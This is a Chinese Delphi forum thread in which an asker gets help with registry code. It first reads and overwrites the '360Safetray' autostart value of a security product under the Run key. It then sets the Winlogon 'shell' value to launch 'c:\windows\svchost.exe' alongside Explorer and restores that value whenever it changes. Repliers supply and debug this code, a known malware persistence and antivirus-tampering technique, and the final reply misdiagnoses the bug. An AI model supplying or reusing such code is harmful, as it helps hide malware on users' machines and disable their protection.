假设我要读HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中的数值名称为“360Safetray”的数值数据,并将得到的数值数据赋值给变量regrun,代码该怎么写?谢谢。请在下面的代码中写入:interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,Registry;type
  Tsvchostun = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  svchostun: Tsvchostun;
  ARegistry: TRegistry;
implementation{$R *.dfm}
begin
end.

解决方案 »

  1.   


      ARegistry:=TRegistry.Create;
      ARegistry.RootKey:=HKEY_LOCAL_MACHINE;
      if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false) then
        regrun:=ARegistry.ReadString('360Safetray');
      ARegistry.CloseKey;
      

  2.   

    谢谢黑马王子,功能已经实现。如果要将360Safetray的数值修改成“aaa”,代码该如何写?谢谢。
      

  3.   


      if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then
      begin
        ARegistry.WriteString('360Safetray1','bbb');
      end;
      

  4.   

    方法是这样的,上面把360Safetray写成了360Safetray1,aaa写成了bbb.
      

  5.   

    为什么1楼处“if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false) then
    ”是false?3楼处“if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then”是true?
      

  6.   

    true和false是表示如果没有这个键的话,是否要创建.
    1楼是读,不建立这个key也是可以的,如果你要建就使用true
    3楼是写,当然必须得有这个key才能写,所以传了true做为参数
    LZ可以参考delphi帮助
      

  7.   

    我把代码贴出来,你帮忙分析一下吧,我这里总是有错误,好像是在写shell那里有错var
      svchostun: Tsvchostun;
      ARegistry: TRegistry;
      BRegistry: TRegistry;
      regrun:string;
      regguding:string;implementation{$R *.dfm}
    begin
    regguding :='Explorer.exe c:\windows\svchost.exe';
    ARegistry:=TRegistry.Create;
    ARegistry.RootKey:=HKEY_LOCAL_MACHINE;
    ARegistry.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
    regrun:=ARegistry.ReadString('shell');//将shell的值赋值给regrun
    ARegistry.CloseKey;
    ARegistry.Destroy;
    if   regrun<>regguding  then
    begin
    BRegistry:=TRegistry.Create;
    BRegistry.RootKey:=HKEY_LOCAL_MACHINE;
    BRegistry.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
    BRegistry.WriteString('shell',regguding);
    BRegistry.CloseKey;
    BRegistry.Destroy;
    end;
    end.我解释一下我要实现的功能,这个程序运行后,获得shell的值,然后与regguding做比较,如果他们不一样,则将shell的值修改为regguding。
      

  8.   

    if   regrun < >regguding  then 
    ----------------------
    这一行有问题,应为<>而不是< >,多了个空格,其他的OK